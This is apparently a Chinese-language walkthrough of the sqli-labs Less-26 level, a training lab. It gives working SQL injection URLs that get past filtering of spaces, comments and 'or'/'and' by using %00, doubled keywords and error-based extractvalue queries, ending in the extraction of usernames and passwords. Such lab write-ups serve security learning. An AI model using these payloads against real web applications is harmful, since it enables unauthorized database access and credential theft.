Less-26
该关卡提示空格和注释被转义,我们测试一下:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1 正常显示,有回显
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ 报错
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ --+ 依旧报错,并且提示提示信息为:
我们添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ ;%00 正常显示
除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。
由于无法使用空格,因此http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ (oorrder by 4);%00这种语句都无法使用,我们使用报错注入:
方法一:
获取当前数据库:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ union (select(extractvalue(1,concat(0x7e,database()))));%00
获取所有数据库:
但是这里长度有限制,无法全部取出
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00
获取security库中的表:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00
获取users库中字段:
注意and也需要双写:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00
获取username和password字段的信息:
注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00
方法二:
在docker中,空格可以用转义符%a0代替。
获取字段数:
获取回显字段:
获取当前数据库:
获取表名,字段名、数据方法类似,用%a0代替空格即可。